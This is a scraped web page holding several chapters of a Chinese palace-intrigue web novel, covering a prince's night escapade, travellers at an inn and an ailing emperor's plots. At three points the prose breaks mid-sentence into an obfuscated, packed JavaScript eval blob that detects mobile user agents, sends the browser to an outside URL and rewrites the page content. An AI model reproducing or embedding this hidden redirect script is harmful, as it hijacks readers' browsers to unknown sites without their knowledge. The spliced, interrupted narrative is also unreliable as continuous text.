牧彰施一进门就喊着肃石,他昨夜身穿单衣剪了一晚上的花枝。吹了秋风不说,昨夜好不容易找到机会溜走,本想做马车出宫,又想起自己是假冒的肃石身份,怕姚昭桦起疑,自己只好抱着梨枝走路回来。 肃石昨夜等了一晚上,还以为殿下被太后留宿在福乐宫了。刚睡下不久,就听见殿下他一大早回来嚷着要喝姜茶。 肃石睡眼惺忪,不知道殿下大早上闹什么脾气,可谁让他跟了个性情乖张的主人呢。 肃石哈欠连天,认命爬起来给牧彰施煮了一大碗姜茶。 “殿下,您这是怎么了?” 肃石捧着茶壶进来,就看见自家殿下连打了数个喷嚏。 牧彰施没心情跟他解释,只抬手给自己倒了一杯姜茶猛地一口灌下肚。 几杯姜茶入腹,暖意顺着五脏六腑漫开到四肢,牧彰施身上的寒气这才彻底散去。 看着明显是睡了一觉醒来的肃石,牧彰施气不打一处来。他黑着脸厉声道:“昨夜我一夜未归,你不仅没去寻我竟还睡起大觉来,真该好好打你一顿板子。” 听到这话肃石嘴上连连告饶心里却不屑一顾,他自小就陪着殿下长大,不管他犯了什么打错,殿下都只是嘴上说说可没动过真格打他。 肃石正欲说点什么哄殿下开心,却瞥见桌下摆了一地的梨枝。 肃石不可置信地揉揉眼睛,指着地下摞成堆的梨枝道:“殿下,这这这……” 牧彰施又喝了一杯姜茶,眼皮都没抬一下。 “是太后梨棠苑的梨树,我折来的。” 肃石一听是梨棠苑的梨枝,惊讶道:“殿下,您疯了。这里面还有很多裕太后好不容易派人弄进宫的梨树,您都给折了。要是让太后知道了可不得扒了您…啊不,是扒了我一层皮啊。” 说完,肃石知道自己有些口不择言又急忙捂住嘴。 牧彰施白了肃石一眼,“没出息的东西。我折梨枝的时候又没人看见,谁还能去太后面前告我的状不成。” 说罢,牧彰施喝茶的动作一顿。 去母后那告自己的状,这么无聊的事,她才不会做吧。 见殿下承认,搞得肃石丈二和尚,摸不着头脑。 “殿下大晚上不赶紧回宫,去折梨枝干嘛?” 看着肃石疑惑不解的样子,牧彰施只好一五一十的把事情原委细细道来。 “被贤妃撞见您直接坦白说是陛下准您进宫看望太后的不就行了,干嘛还冒充是属下呀。” 贤妃,这两个字怎么听怎么不顺耳。 牧彰施微皱眉道:“你是主子还是我是主子,再说了,本王乐意。而且,虽说皇兄恩准我出入福乐宫看望母后,但我半夜出入后宫还惊扰了皇妃说出去也不好听。” 败坏名声,这时候殿下倒是想起我来了。肃石心里嘀咕不满的撇撇嘴,“殿下,属下的名声也是名声啊。” “多嘴。”牧彰施忍不住又白了眼肃石,“你替本王担了这件事算你大功一件,父皇赏给我燕行川的那幅归山图真迹,本王就送你了。” 归山图,自己求了殿下好久他都不舍得给自己的。得了归山图的肃石喜出望外连连道:“为了殿下的名誉,属下愿肝脑涂地替您背骂名。日后殿下再遇见贤妃,尽管报属下的名字。” 肃石叽叽喳喳的声音吵得他头疼,牧彰施揉揉脑袋道:“少贫嘴了,赶紧替我把找官服找出来,一会儿还得入宫去见皇兄呢。” “哎。” 肃石应声后麻利去找官服了,不一会儿又从屋内走了出来道:“殿下,您不是穿着官服呢嘛。” 牧彰施这才如梦初醒,低头看着自己这身衣服。对啊,昨夜是宫宴,他是穿着官服去的。 昨夜的事,像走马灯一样在牧彰施脑子里过了一遍。牧彰施勾起唇角,好啊,她果然是故意整自己的。 福乐宫,黎稔一整夜都没有睡好。 念汝将军诞下孩子后便被押赴刑场,这么多年来,她一直心怀愧疚,不停让三一搜寻孩子的下落却一直未果。直到昨夜亲眼见到念汝将军的孩子好好的,她心中的歉疚才减轻几分。 可她昨夜留下的话……她知道什么了…… “公主公主,不好了。”三一焦急地跑进殿内道,“公主我刚才去梨棠苑,发现好多树枝都被人给折断了。秋日里折了这么多枝子,等秋末估计都结不了几个果子了。” “什么小贼这么大胆子,敢折梨棠苑的花。”黎稔沉声道。 三一摇摇头,“打扫院子的人都说没看见,许是哪个不懂规矩的瞎折来玩的。公主,要不要我加派人手,去梨棠苑看着。” “不必了。”黎稔阻止三一,梨树本就是她思乡心切,母后心疼她,费尽心思弄进来的。如今有随时能吃到的家乡的味道,损失几根梨枝,也没那么心疼了。只是便宜那个小贼了,自己最近心情不错懒得跟他计较。 黎稔对着铜镜梳发道:“三一,等云昙姑娘醒了就请她帮我做点兰诏的点心。” “是。公主” 姚映梧一走,原本就空寂的丞相府越发冷清了。 昨日是姚明桉的生辰,二姐姐要去宫宴只给他留了生辰礼便走了。谁知道,会出这么大的事。二姐姐一走,不知多久能回来。现下,父亲有大把时间全身心盯着他,不许他再偷懒耍滑了。 书斋内的姚明桉叹了口气,二姐姐一走自己再惹父亲生气就没人来救他了。唉,往后日子是越发难过喽。 听见推门声,姚明桉迅速抬起头,见是母亲来了姚明桉起身热切喊着母亲,以为她是来解救自己离开书斋的。 章麓泽没有理会明桉的小心思,板着脸沉声道:“陛下要你今日就入宫做皇孙的伴读,母亲此次来是有几句话要叮嘱你。” 姚明桉一脸惊色,“今日?父亲不是说是过了重九节后吗,怎么会这么快。” “昨夜的事,高羡彻底与姚家撕破脸。你父亲如今紧盯高家,生怕再生事端。如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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雨丝打叶声在安静的马车内格外明显,姚映梧怕两人淋湿生病掀开车帘问道:“等雨不下了咱们再走吧,你们先进来避避雨吧。秋雨寒气甚重咱们出门在外的,千万别着凉生病。” 肖遥应和道:“阿缘说得是,这离进鄢云十州的地界还早,不差这一时半会。” 高琢应声好,本想勒马停车。不料牧泓屿从他手上抽过马鞭,一下子抽在马屁股上。 他这一抽,渐停的马车突然加速,几人皆没坐稳。 牧泓屿开口解释道:“前面不远就有一个民家逆旅,附近只有他们一家晚上能住人,所有来盛安城的人都会他家过夜。咱们要是去晚了,就没房住了,还是抓紧赶路吧。我跟高琢不要紧,到那再换身衣裳就好。” 肖遥疑惑道:“你都没离开过盛安,怎知就那一家旅店?” 牧泓屿坐的位置驾马不太方便,他将马鞭又递给高琢才道:“今早临走时四喜告诉我的,他说他老家的亲戚来盛安看他,就差点没住上店。他嘱咐我加紧赶路,别错过了。” “我们无事的,外面刮风又有雨,你们两个快进去坐好。”看着姚映梧明显比离开盛安时苍白的脸色,高琢心疼的开口嘱咐道,“趁着天色还亮,咱们先加快速度到旅店住下。第一日赶路还不适应,咱们就早点休息。” 见拧不过驾马的两人,姚映梧与肖遥只好点头回马车坐好了。 高琢一路加速赶车,直到申末才赶到旅店。 天色已经擦黑,旅店果然如牧泓屿说的那样住满了客人。 门口守着的小二见几人是从盛安来的,又穿着不俗。赶紧谄媚着给几人拿行李,又唤来另一个人给几人把马车拉到后院给马喂草。 高琢先一步进旅店,“店家,要四间上房。” “上房早没有了。” 掌柜的不耐烦抬起头,见眼前的公子身穿华服锦缎,应是大人物。他登时又笑道:“公子我们这上房是没有了,就剩两间普通客房。都打扫干净的,公子要是不嫌弃就住这两间。” 高琢为难的看了身后几人一眼,两间,那他岂不是要跟牧泓屿住一块了。可看着络绎不绝的客人,高琢怕这两间一会儿也没了,他咬咬牙,“好吧,就要这两间。” 51. 异样 高琢从掌柜那回来的时候,三人也已经找了处空闲的桌子坐下。 替他们拿行李的小二见他们已经坐好,热切的过来向他们介绍店里的招牌菜。 肖遥听见小二说起桂花糖糕,特意问道:“阿缘,他们家也有桂花糖糕。要不要买点来尝尝。” 姚映梧一路上颠簸本就没什么胃口,听见有桂花糖糕自然开心。 “要一盘桂花糖糕,多撒一份干桂花和桂花蜜。除了糕钱,我再单付你一份蜜钱。” 吃桂花糖糕,姚映梧还是习惯按着在和羹居吃的老样子来点。只是今年大邺多雨,蜂蜜价贵干桂难得,不知道店家肯不肯这样卖。 小二听完反而摸不着头脑,“我见几位贵人是从盛安的方向来的,怎么几位不是盛安人?” 小二没来由的话让高琢心里疑惑,这跟是不是盛安人有什么关系。他出口应付道:“我们自然是盛安人,我们怎样点糕你只管上就是了,打听这些干什么。” 小二赔笑道:“公子别恼,是小人多嘴了。这位小姐点桂花糖糕的要求小人还是第一次听说,所以才好奇的问问。” 姚映梧不甚在意,以为这儿没人这么吃糕。她道:“我在盛安吃桂花糖糕都是这样点的,出门在外口味肯定有点不一样,小二你只管上一份桂花糖糕就好。” 几人都点了自己爱吃的菜,轮到姚映梧时,她推脱说不饿,早晨刚服过药又颠簸一路,她的食欲早就颠没了。如今,只想吃点桂花糖糕。 高琢和肖遥担心她的身体,怎么也不肯同意,硬是给她点了一道清蒸鲈鱼让她补充点体力。 没过多久,菜陆续都端上了桌,一行人赶路赶了许久,酉初时分,几人才吃上今日的第二餐。 大家都埋头苦吃,只有姚映梧盯着桌上的桂花糖糕出神。 “怎么了阿缘,是菜不合胃口吗。”已经饿了大半日,可姚映梧还对着菜愣神,实在是让高琢担心不已。 姚映梧本就不饿,只单纯的想吃一口桂花糖糕。可她看着桌上她见都没见过的糕点实在是难以置信。 “这…这是桂花糖糕。” 听见姚映梧这样说,小二赶忙上前保证道:“小姐放下去,这保准是正宗的桂花糖糕。” 小二一直注意着这桌上的人,这桌的公子小姐大方,为了感谢小二上菜上的快,整整打点给他二两银子。 小二骄傲道:“我们家老掌柜打前晋时就在这盛安开店了。只是后来晋灵帝昏庸,底下的官员也强迫多征杂税,他才携一家老小来这盛安城郊开店。所以,您大可放心,我们家店那是有口皆碑的。不管是糕点还是菜色,我们家做的都是盛安的老味道。” 小二都话让肖遥眼神一亮,她惊喜道:“难怪这菜色这么熟悉,原来是盛安的老味道。小时候在外乡想家时,莲娘婶婶常给我们做盛安的菜,我一直惦记着,想不到在这吃到了。” 听小二和肖遥说得神乎其神的样子,高琢又尝了一口菜。嗯…没是没尝出来有什么特别的。他从小跟着姐姐们四处游荡,吃什么地方的口味都很习惯。他扭头对肖遥道:“人都吃五谷,味道也差不多。没想到肖遥你还能尝出来呢。” 高琢这一说,肖遥反倒不好意思,“我常年在外,家乡的味道肯定记得久些。这么多年在蔺州,当地百姓多爱食羊肉和面食,我一直吃不太习惯,时常想念盛安的大米呢。” 牧泓屿看着也有些不舒服,饭桌上一直没怎么说话,吃了几口就没再吃了。 肖遥关切的问他,他也只是摆手说不要紧。 听小二这么说姚映梧反而疑惑又好奇,她问小二,“可我在盛安吃的桂花糖糕一直是将桂花蜜糖拌进米粉中蒸熟,蒸熟后,趁热在糕上撒一层干桂花和桂花蜜。” 姚映梧说得做法小二听都没听过,他以为这小姐是让哪家没良心的店家给骗了,于是看在那二两银子的份上好心解释道:“怎么可能呢小姐,这桂花糖糕是前晋时有名的糕点,做法麻烦着呢。要先筛过米粉,再将米粉和当年的糖桂花拌匀,还需得用分层蒸法分四次入笼屉蒸熟,每一层口感不一样,蒸熟的时辰也不同。而且,出锅后只需在表层撒上干桂花增香即可,无需再淋桂花蜜。这样做的桂花糖糕才能甜而不腻,满口桂花香。” 望着桌上陌生的桂花糖糕,姚映梧道:“盛安都是这个做法吗?” “小姐放心,别说盛安了,整个大邺应当都是这个做法。” 姚映梧笑着对小二说:“多谢,我今日才知道做桂花糖糕原来这么麻烦。” 小二回笑道:“小姐客气了,您吃着开心就成。” 姚映梧踌躇着拿起木箸,尝了一口菜,果然都是盛安的口味。只吃了一口,她便放下了木箸。 她心中叹气,第一次离开家,既是为陛下寻药也是要去看娘亲的故乡。一想到要去盛安,她心里说不上来的不安与激动。唯一能给她慰藉带来安心的,便是和羹居的桂花糖糕,只可惜一路上是吃不到了。 高琢看出姚映梧的失落,安慰道:“这店主虽然是盛安人,可毕竟做的是前晋盛安的口味。多少年过去了,几代人传下来口味肯定变了。你在盛安吃的,肯定不是原来盛安人喜欢的。阿缘你若还想吃,等回来了,我陪你去和羹居买。” 高琢的话让姚映梧舒心了不少,她朝高琢一笑,还是决定吃一块桂花糖糕尝尝有什么不一样。 松软的米糕裹着淡淡的桂花香,咀嚼间,桂花蜜的味道才慢慢散发出来。 “这个做法也好吃,只是没有娘亲的味道了。”姚映梧笑得勉强,说完也没了胃口,便放下木箸不再吃了。 牧泓屿见姚映梧失落,想起自己的包袱中的东西,便赶紧拿出那一罐桂花蜜道:“阿缘,这是我之前从和羹居买的桂花蜜,本想给你做生辰礼的。只是近日发生了许多事,我给忙忘了。这桂花糕你淋上些桂花蜜吃吧,走了这么远的路总得吃点东西,不然身体怎么吃得消。” 姚映梧心中陡然一颤,她看牧泓屿神色坦然像是什么事都没发生一样。 她压住心头的怪异,眼睛不自觉盯着牧泓屿没动。直到见牧泓屿神色有异,她才笑着接过来。 姚映梧小心翼翼地打开罐子,淋了一圈桂花蜜到糕上。她忙不迭的尝了一口,笑道:“果然是这个味道。多谢你了,这样我一路都能吃到有家乡味道的桂花糖糕了。” 吃到熟悉的味道,姚映梧心中的不安暂时落了地,她什么都不想去想了,眼中此时只有桂花糖糕。放下烦恼,胃口都跟着好了起来。桌上,一整条鲈鱼都被姚映梧吃了大半,一整盘桂花糖糕淋着桂花蜜,全被她吃进了肚子里。 见阿缘终于吃了东西,肖遥眯着眼睛笑出了声。牧泓屿唇角带笑,看着她们两人。桌上只有高琢,一脸的闷闷不乐。 盛安驿馆,也是一片死寂。 裴澄始终不敢相信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319873|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是真的,他从昨晚回来后就呆愣愣的坐着,没哭也没说话,只是不停想着阿衡幼时所有的事。他整个人都神情恍惚根本没法处理丧事,阿衡身后的事宜都是阿卿昨夜强撑着精神,与宫中的几个内侍商定下来的。 昨夜,阿卿在殡宫大哭一场,整个人都已经缓过神来。她清晨回来简单吃了点东西,神色已经好多了。 裴澄看着女儿坚强的背影,想着他也许也该痛哭一场才能好,可他怎么也哭不出来。他始终不想相信,他的儿子已经死了,死在昨夜的宫宴上了。 昨夜原本定好的时辰是卯初,负责的宫人等了一早晨都没见裴澄人影,只好自己来驿馆寻他。殡宫是皇家的地方,裴虑衡的尸体不能放在那太久,不合规矩。 到了驿馆裴澄哀恸欲绝,身上的官服都没换下来。几个内侍正两难呢,裴虞卿站出来揽过责任安排好一切。同几个内侍入宫,将裴虑衡的尸身接出宫外安葬在裴家祖地。 裴澄没过问,也没去看阿衡下葬。他想只要他没亲眼看见阿衡下葬,阿衡就没离开他。 啪——! 门口太清宫今日摔碗的噼啪声不绝于耳,又一个漂亮的琉璃碗被摔碎。 站在门口的小内侍看在眼里,又是心疼又是忧虑。 陛下摔碗就好了,可千万别拿咱们下人出气。 牧怀兴今日咳了一整日,名贵的药材熬成药汤,一碗接一碗的送进太清宫。 刚开始,御医们开的药牧怀兴还按量服用,喝完药也见效,立刻就不咳了。只是毫无例外,喝完不到一柱香,便又开始猛地咳了起来,越来越厉害。 咳了一早晨也喝了一早晨,后面端进来的药便全被牧怀兴摔在地上,无一幸免。眼看陛下动怒,御医们吓得跪了一地。 钟内侍进来时,入目便是满地的碎瓷和恐惧至极的御医。他压下心头的忧虑,回禀道:“陛下,齐王殿下来了。” 看着这些没用的御医,牧怀兴气不打一处来,咳得更厉害了。他对钟谋道:“咳咳咳,让…让齐王,咳咳回去吧,就说…说我乏了。你再咳咳咳…去……咳咳咳咳咳……” 牧怀兴一句话断断续续,说了几次也没说完。他用力咳着,脸上因生病变得灰白的皮肤也咳红了。他想强压住喉间的咳意,却怎么也压不住。 他满眼血丝的眼睛盯着钟谋,指着齐王送他的棋盘摆摆手,又抬手指向外面巡逻的守卫点点头。 四十年的相处让钟内侍立刻明白了,让齐王殿下回去,宣高羡入宫。 “是陛下,老奴这就去。” 入宫的路上,高羡的步伐比钟内侍还要着急,陛下突然病重一事,彻底打乱了他的计划,他也没想到陛下会病得如此厉害。牧泓屿还未得知真相答应与他们联手,他人今日又刚出盛安城,不在城内,陛下此时绝不能出事。 戌时,夜幕低垂,风清月皎。 姚映梧晚上吃了不少,正跟肖遥出来散步消食。 今夜月色朦胧,是难得的好风景,两人坐在马车上抬头赏月。姚映梧看着月亮,心中有一丝说不上来的奇怪。 半晌,她喃喃自语道:“皎皎,他说,阿缘。” 肖遥好不容易离开了盛安城,整个人都自在不已。她一心赏月,没听清姚映梧的话。 肖遥扭头追问道:“阿缘,你说什么?” 姚映梧拧眉望向肖遥,“皎皎,刚才他叫我阿缘你听到了吗?” 52. 吃醋 明亮的月光照耀下,姚映梧说得无比认真。 肖遥看阿缘的神色不像是在说笑,反而真的在思考原因。 吃饭时,牧泓屿随口念的一声名字,肖遥早就记不清他到底喊的什么了。 肖遥越是深想,越是怎么也回想不起来。她摇了摇想成一团乱麻的脑袋不确定道:“阿缘会不会是你听错了。再说了,我们一起经历了这么多的事,他偶尔唤你的乳名也很正常啊。” 姚映梧很确定道:“不会的。牧泓屿生在皇家心思比我还要敏感细腻,若是唤乳名就显得亲昵,那他怎么一直叫你阿遥不唤你皎皎呢?” 姚映梧问的问题实难回答,肖遥也不知道原因。以前,牧泓屿从小就跟在她身后一口一个阿遥,她从来没问过为什么。再说了,叫什么都一样,只不过一个名字而已,她知道牧泓屿在叫她不就好了。 可今日,姚映梧的话令肖遥突然意识到,牧泓屿的心思她好像从来没花时间费心思琢磨过。一直以来,都是他告诉她他在想什么他想要什么,她就听什么去做什么。 肖遥讪讪道:“他从小就这样阴晴不定的。我在盛安那段日子里,就住在宫中。我同他两个皇兄玩的时候,他经常不知怎么就生气了或是委屈了,我每次都要哄他好久呢。” 肖遥的一番话点醒了姚映梧,她激动的拉住肖遥的手道:“原来是这样,怪不得那日皎皎你主动提起邀表兄骑马的时候,他会一改往常谦谦公子的样子出口伤人。因为他想,他在你心里是特别的,你与他一起做的事也是别人做不了的,所以他不和别人一样叫你皎皎,只唤你阿遥。你是大家的皎皎,只是他一人的阿遥。” 姚映梧激动的样子让的肖遥更加不知所措,阿缘说的事她从来没想过,也不知道阿缘为什么提起牧泓屿唤她乳名的事,转眼又扯到她邀表兄骑马的事上去了。她完全不明白两者有什么关系。 姚映梧看着肖遥愣愣的样子无助的叹口气,上天果然是公平的,给了皎皎过人的胆识与高超的武艺,让她在战场上恍若神人却一点也没给她情爱方面的敏锐。 姚映梧无奈地敲了下肖遥的头叹气道:“皎皎你说他这样心思难以捉摸的人,会突然想跟我亲近所以改口唤我阿缘吗?” 肖遥揉揉被敲的地方,认真的看着姚映梧问道:“不会吗?” “哎呀皎皎,当然不会了。”姚映梧想着牧泓屿奇怪的地方,“他突然变得这么奇怪肯定有内情,也许他突然改口叫我阿缘其中定有隐情。不管怎样,明日我们得探一下他的口风,他许是有难言之隐不能直说呢。” 姚映梧说完,发现肖遥一脸愁容的正望向她。 肖遥忧虑道:“阿缘你没事吧?高羡的事是不是把你吓坏了。你现在犹如惊弓之鸟一般,一点风吹草动都让你怀疑。” 肖遥的担忧也是姚映梧这几日的心事所在。她深夜只要一闭上眼睛,眼前就是枉死的表兄和舅舅表姐痛哭的脸。她日夜反思自己,却也无力回天。只能警告自己一定事事小心再小心。 姚映梧抿紧唇,沉声道:“表兄因我无辜丧命,我至今心痛。可皎皎,我是真的担心。若牧泓屿有难言之隐,我们没能发现就更别提帮他了。皎皎,我不想让牧泓屿像我一样,陷进圈套走到无法挽回的这步。” 肖遥心疼的握紧姚映梧的手,笑道:“好,我信你阿缘明日我们就去试探他。天凉了,咱们回去吧。” 肖遥充满信任的眼神让姚映梧心下一软,她憋回心里的感动向肖遥撒娇道:“不嘛皎皎,月色正好,咱们说会儿话再回去。” 今夜月明,高琢在床上翻来覆去怎么也睡不着。他猛地坐起身,牧泓屿这家伙去哪了,这么晚还不回来。 高琢想着在吃饭时牧泓屿喊的阿缘,不想还好,一想心里更加烦闷。他从来不叫她阿缘的,今日一叫就叫那么亲热,就像他们两个关系多好多亲近一样。明明,明明阿缘和他才最好。 他烦躁地抓抓自己的头发,强迫自己躺下睡觉。他将被子盖在脸上,不想了不想了,明早还要赶路呢。 阿缘,这是我从和羹居买的桂花蜜,你…… 越不想,这句话越反反复复出现在高琢的脑海里。 高琢大叫一声又坐起来,该死的牧泓屿肯定故意喊阿缘气他的,他最好立刻回来给他一个合理的解释。 后院,牧泓屿特意避开马车上的两人悄声摸到了后山。 牧泓屿警惕地打量着四周,确认附近没人,才拿出木哨唤天上盘旋的信鸽下来。 信鸽的腿上缠着布条,牧泓屿解下来看了一眼便脸色大变。他蹙眉长叹,掏出火折将布条点着。 火舌舔舐之处,只留最后一句。 ‘……牧怀兴病重,恐生变故,盼速归。’ 回屋的路上牧泓屿心事重重,推开房门时他心头一惊。高琢没在睡觉,反而穿戴整齐正坐在桌边等他。 高琢见牧泓屿终于回来了,他压住心底的怒气将茶杯砰的一声砸到桌上。 “你去哪了?怎么现在才回来。” 牧泓屿面色不改的合上门坐到高琢对面,笑道:“怎么?要审我。” 看着牧泓屿一副漫不经心的样子高琢更是火冒三丈,他深吸一口气阴恻恻笑道:“牧泓屿,你觉得阿缘怎么样?” 牧泓屿看着高琢一副要吃了他的表情,故意道:“她很好啊,你问这个干什么。” 高琢听见这话,果然如牧泓屿所料暴跳如雷。 “牧泓屿!亏我还拿你当好兄弟,还帮你作画。你居然变心不说,还打阿缘的主意!” “打她的主意……”牧泓屿想起姚映梧奇怪的脸色,微微蹙眉。 只消片刻,他笑着对高琢解释道:“看你那气急败坏样子,我是那样的人吗。我喊她阿缘,是因为我们几个出门在外得隐瞒真实身份。先不说牧是国姓,就说姚肖两姓,整个大邺更是无人不知。我们此番寻药,路上指不定有什么危险,不宜暴露身份。姚映梧她是丞相府二小姐,盛安城人人都知她重病缠身,最近才被霍大夫治好。我一说她的名字,大家不都知道她是谁了吗。万一再像霍大夫一样,有恶人想绑架她勒索赎金可怎么办。” 牧泓屿说的句句在理,高琢悬了一晚上的心这才放下来。他害怕自己的身份配不上阿缘,牧泓屿怎么说也是皇子,要是他也喜欢阿缘,自己怎么比得过他呢。 高琢忍住心头的失落,对牧泓屿道:“牧泓屿,是我错怪你了。但我告诉你,阿缘是这世上顶顶好的姑娘。但我和阿缘两情相悦,她心里只有我,你不可能招阿缘喜欢的。” 牧泓屿长吁一口气,拍拍高琢的肩。“我还真没想到你是这样想的。把心放肚子里吧,我只当她是挚友,最多最多只拿她当妹妹。” 宽慰完高琢,牧泓屿已经困得睁不开眼了,“时辰不早了,你不睡我可要睡了。” 高琢放下心来,又换上一副笑嘻嘻的表情,“我知道你不是这意思,我就是问问。”高琢躺回床上,望着陈旧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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钟谋赶忙递来糖块,牧怀兴摆手让钟谋退下,“不,朕等不了了。只要他们出了盛安的地界,我就要听到姚映梧被绑走的消息。” 高羡为难道:“绑走姚映梧倒是简单,只是…有肖遥将军跟着,成功怕是不易。” 牧怀兴冷声道:“你动手前,我会派人调肖遥去支援庆州。你只许成功,活要见姚映梧的人和药。死,你也一起死。” “臣遵命。” 出了太清宫,高羡全是都是冷汗,他不能再等了。 莫内侍见高羡走后,寻了肚子疼的借口溜了出来。他追上高羡,将他拉到皇宫一处隐蔽的角落。 他见此处无人,追问道:“大人,牧怀兴的病怎会如此厉害。解药,咱们不是给他一直吃着吗。” 提到解药,高羡脸色更加难看,“解药是我一个师妹做出来的,准确的用药多少我一概不知啊。现在牧怀兴吃的解药,是我按照她留下来的残方自己摸索着做的,一开始给他用解药的时候明明也管用的,为什么最近却不行了。” 莫内侍低声说:“这解药肯定不对,它不能解毒只能延缓毒发。此毒杀人于无形,照牧怀兴的毒发间隔来看,咱们没没多少时间了。” 高羡眼中凶光一闪,“等不及了,立刻想办法把牧泓屿弄回盛安来。顺便让他知道他到底是谁!还有,你去探探甘霆的口风。若他不能为我们所用,动手前,先把他与肖家分开。‘盛安二将,甘锏肖戟。’可不是浪得虚名的。” 莫内侍心生毒计,阴恻恻笑道:“您就等卑职的好消息吧。” 53. ?暗夜恶潜 皇城,宫门。 此时夜已深,宫门早已下钥,甘霆一身常服匆匆入内。钟内侍特意派人深夜到忠勇侯府请他着便衣自侧门入宫,如此小心谨慎,看来宫内是出大事了。 太清宫外,只有钟谋一人在等他。 钟内侍看见甘霆的身影,急忙上前道:“大人,陛下他一直在里面等您呢。” 殿内,牧怀兴的御案上点了一盏琉璃灯。他裹紧身上的裘衣,重重咳了两声。 “陛下。” 甘霆满是震惊,他不敢相信,眼前看到的病弱之人会是他印象里最意气风发的人。 见甘霆来了,牧怀兴强打起精神招呼他上前说话。 “陛下,高羡当时不是已经将您的病治好了吗,怎么会又重了。现在才十月,您怎的就换上裘衣了。” 望着牧怀兴突然虚弱的身体,甘霆眼前不禁浮现一个多月前他们在这儿一起下棋时的场景。想到此,语气中不禁染上一丝忧伤。 同甘霆一同进来的还有一阵冷风,牧怀兴全身发抖,又紧紧身上的裘衣淡淡笑道:“不知为何,病愈重身上就越发冷。夜里咳得也越来越厉害,如今是一点风都吹不得了。” 说罢,牧怀兴捂住嘴猛烈咳了起来,甘霆见状赶忙递上旁边的帕子。牧怀兴推开甘霆,望着他的脸问道:“甘霆,你可知我今日为何叫你来?” 牧怀兴充满信任的眼神令甘霆愧疚的错开眼,“您是要问二皇子的近况如何?” 听见意料之中的答案,牧怀兴无力地垂下手。少时他曾经最信任的人,因为各种原因都接二连三的与他离了心,如今身边除了贴身伺候他的钟谋,竟没一个人懂他了。 喉间剧烈的咳意让牧怀兴咳得喘不上气,话更是说不出来。他没时间再跟甘霆打哑谜了,他若骤然离世,大邺一大半兵力都在肖家手中都在大邺边陲,若肖家有人生了反意,大邺江山危矣。可让他最怕的,是牧家子孙有人擅除肖家,令大邺江山不稳,边疆动荡。他绝不允许像童谣中传的那样,大邺江山葬送在牧姓后代子孙手中。 牧怀兴对甘霆道:“甘霆,你可知我为何在病中免你御守府统领一职,命你去做屹儿的太傅。” 甘霆拱手道:“臣不知。但臣以为,但将御守府统领一职交于高羡手中实在是陛下考虑不周。高羡毕竟不是……” 牧怀兴没想到甘霆时至今日都未能明白自己的真正用意,失望打断道:“我当时突患重病,已然无力回天。御守府是保卫皇宫安全,可若我骤然薨逝,只保住这个空荡荡的太清宫有什么用。峥儿的武艺师承肖厝,却也毕竟是一人之力。屹儿虽也一直同你学甘家锏,但毕竟开蒙晚,天资一般。若真遇强力外敌,恐难自保啊。” 说起皇嗣牧怀兴话锋突然一转,“福乐宫里的人,一心为了兰诏,她与齐王私下有没有与兰诏国主勾结也未可知。兰诏早年也借父皇的庇护,发展壮大,屯兵不在少数。若我与皇子们都出了事,大邺还会是牧家的大邺,还是大邺子民的大邺吗!” 甘霆望着牧怀兴,后撤一步行礼请罪,“请陛下恕臣愚钝,今日才知陛下用心良苦。” 牧怀兴稳住摇摇欲坠的身体,扶住甘霆的手,“甘霆,朕要你重新披甲,代你父亲重振甘家军雄威。朕会即刻下旨,封你为靖晏侯,日后你甘家,就是一门双侯的荣耀。甘霆,我今夜便将大邺江山和未来都托付在你的手上,我只要你向我保证,不管到了什么时候,都要护住屹儿,护住我大邺未来的天子。” 钟谋守在正门,莫内侍只好蹲在后门偷听两人谈话。后面离殿内远,他听得不真切,但牧怀兴想让牧泓屹坐皇位的话他是听的一清二楚。 好不容易等到甘霆独自一人离开,莫内侍看清甘霆脸上残存的泪痕,拉拢甘霆一事,他都不用追上去试探。只见他离开太清宫时决绝的样子,就知共谋天下一事无戏。 牧怀兴属意二皇子牧泓屹一事确为大事,莫内侍知自己必须出宫告知高羡与他商量。牧泓屹,必须得除掉。 深夜诏令一下,朝野震惊。甘家一门双侯的无上荣耀,是大邺建朝以来的头一例。更令人吃惊的,便是陛下终于下诏,宣立了太子人选。 深夜,睡不着的还有章珥和姚尺书。 诏令一下,章珥便马不停蹄来到姚尺书这。 姚尺书刚得到诏令,整个人精神萎靡。见到章珥,他都打不起精神来。嘴里喃喃自语“立五皇子牧泓峥为太子……” 章珥一进屋瞧着姚尺书这副蔫巴的样子摔袖道:“五皇子为太子,二皇子封楚王不赐封地留居宫内。楚王殿下既未离开盛安,我们就还有希望。这么点小事就把你打击成这样,尺书,你的沉稳老练都到哪去了。” 看着老师依旧是胜券在握的样子,姚尺书急道:“话虽这样说,可如今太子已立,陛下又病重缠身,倘若陛下薨逝我们哪还有机会翻身。更何况,裴澄还经老师举荐留京为官,有他在,我必然是不得安生的。” “怕什么。” 章珥厉声呵斥道:“裴澄留在盛安对我们来说才更好,他在我们眼皮底下,哪还能翻出什么浪来。他是年轻时写奏状向先帝告过你几次,害你迟迟不得先帝重用。可那是他为死去的长姐裴澜伤心,一时气不过撒气而已。他留京任职,你正好借此机会与他化干戈为玉帛。他在滕州积蓄多年,早就不是当年的毛头小子了。你能拉拢他为我们所用对我们也是一大助力,若不能,看在孩子们的面子上,他还能对你下死手不成。” 章珥的提醒让姚尺书缓过神来,他在二皇子身上费了太多心血,将姚家未来都压在了他身上,竟忽略了如今朝中的局势。 “老师教训的是,我明白了。” 